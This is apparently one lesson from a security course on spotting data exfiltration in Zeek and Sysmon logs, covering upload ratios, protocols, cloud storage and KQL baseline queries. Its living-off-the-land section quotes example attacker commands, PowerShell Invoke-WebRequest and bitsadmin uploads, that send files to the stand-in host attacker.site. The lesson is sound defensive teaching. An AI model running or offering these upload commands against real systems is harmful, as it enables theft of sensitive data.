Lesson 5 of 6 · 25 min read

Data Exfiltration Detection — Volume, Protocol, and Destination

Exfiltration is the goal that makes an attack financially damaging. Once data leaves the network, the breach is irreversible — you can contain the attacker, but you can’t un-exfiltrate the data. Network detection gives you a chance to catch exfiltration in progress before the full dataset leaves.

The Exfiltration Signature in conn.log

Normal enterprise traffic has a characteristic asymmetry: users download much more than they upload. A user browsing the web, reading email, or accessing SaaS applications will have:

resp_bytes >> orig_bytes    (download > upload)

Exfiltration reverses this:

orig_bytes >> resp_bytes    (upload > download)

Baseline vs. exfiltration:

# Normal workstation daily traffic:
External connections: 2.1GB download / 84MB upload (ratio 25:1 download)

# Exfiltration event:
External connections: 14MB download / 8.7GB upload (ratio 620:1 upload)

Volume Anomaly Detection

KQL for upload spikes:

Zeek_conn_CL
| where TimeGenerated > ago(24h)
| where local_orig_b == true
| where local_resp_b == false  // external destination
| summarize 
    total_orig_bytes = sum(orig_bytes_l),
    total_resp_bytes = sum(resp_bytes_l),
    connection_count = count()
  by id_orig_h_s, bin(TimeGenerated, 1h)
| extend upload_ratio = total_orig_bytes / (total_resp_bytes + 1)
| where total_orig_bytes > 500000000  // 500MB threshold
| order by total_orig_bytes desc

Also worth running a rolling comparison — is today’s upload significantly higher than the same host’s average over the prior 7 days?

Protocol-Specific Exfiltration Signatures

HTTPS Exfiltration (T1048.002)

Most exfiltration today uses HTTPS because it’s allowed outbound and encrypted.

Detection signals:

  1. Destination analysis: Who is the upload going to?

    • Known cloud storage (dropbox.com, drive.google.com, s3.amazonaws.com) — check if this user normally uses these services
    • Novel IP with no SNI or generic SNI — suspicious
    • Recently registered domain — high suspicion

  2. Volume vs. destination: 10GB upload to onedrive.microsoft.com from a finance workstation during off-hours is different from 10GB upload to onedrive.microsoft.com from IT during business hours.

  3. User-agent in http.log: A Python user-agent (requests, urllib) uploading to Dropbox is not a user manually syncing files.

# In http.log, look for:
host=api.dropbox.com, method=POST, request_body_len=52428800  // 50MB upload
user_agent=python-requests/2.28.0  // not a browser or the Dropbox app

FTP/SFTP Exfiltration (T1048.001)

FTP (port 21) should be rare in modern environments. Any FTP connection to an external IP is suspicious.

# conn.log: external FTP
dst_port=21, local_resp_b=false, orig_bytes=150MB
# Or SFTP:
dst_port=22, service=ssh, orig_bytes=150MB (SSH data transfer)

DNS Exfiltration (T1048.003)

See M19 Lesson 3. Data encoded in DNS query subdomains. Volume per query is low, but sustained exfiltration accumulates.

Detecting Cloud Storage Exfiltration (T1567)

The challenge: the destination domains (dropbox.com, drive.google.com) are legitimate and normally allowed. Detection must rely on behavioral deviation.

Approach: user behavioral baseline

// Establish baseline for dropbox uploads per user (last 30 days)
Zeek_http_CL
| where host_s contains "dropbox.com"
| summarize 
    daily_upload = avg(request_body_len_l),
    upload_days = dcount(startofday(TimeGenerated))
  by id_orig_h_s
// Then compare today's upload to the baseline

A host that has never uploaded to Dropbox (not in the 30-day baseline) suddenly uploading 5GB is an exfiltration signal. A host that routinely syncs 500MB daily uploading 600MB is not.

Second signal: new cloud account

If the attacker is using their own Dropbox/Drive account, the HTTP headers may reveal the account identifier. In http.log:

# Dropbox API upload:
uri=/2/files/upload
host=content.dropboxapi.com
# Dropbox-API-Arg header contains folder path: may show attacker account name in path

Living Off the Land Exfiltration

Attackers without a dedicated exfil tool use native Windows utilities. Sysmon process events link these to network connections.

PowerShell upload:

# Attacker command (seen in Sysmon Event 1 CommandLine):
Invoke-WebRequest -Uri "https://attacker.site/upload" -Method POST `
  -InFile "C:\sensitivedata.zip" -Headers @{Authorization="Bearer token"}

Sysmon Event 1 shows PowerShell with this CommandLine. Sysmon Event 3 shows the network connection to attacker.site:443.

certutil exfiltration (unusual):

# Encode file, then upload (used less commonly for exfil):
certutil -encode sensitivedata.zip encoded.txt
# Then: PowerShell or curl to upload encoded.txt

bitsadmin upload:

bitsadmin /transfer "MyJob" /upload https://attacker.site/upload C:\data\file.zip

Sysmon Event 1: bitsadmin.exe with /upload flag. Sysmon Event 3: bitsadmin.exe outbound connection.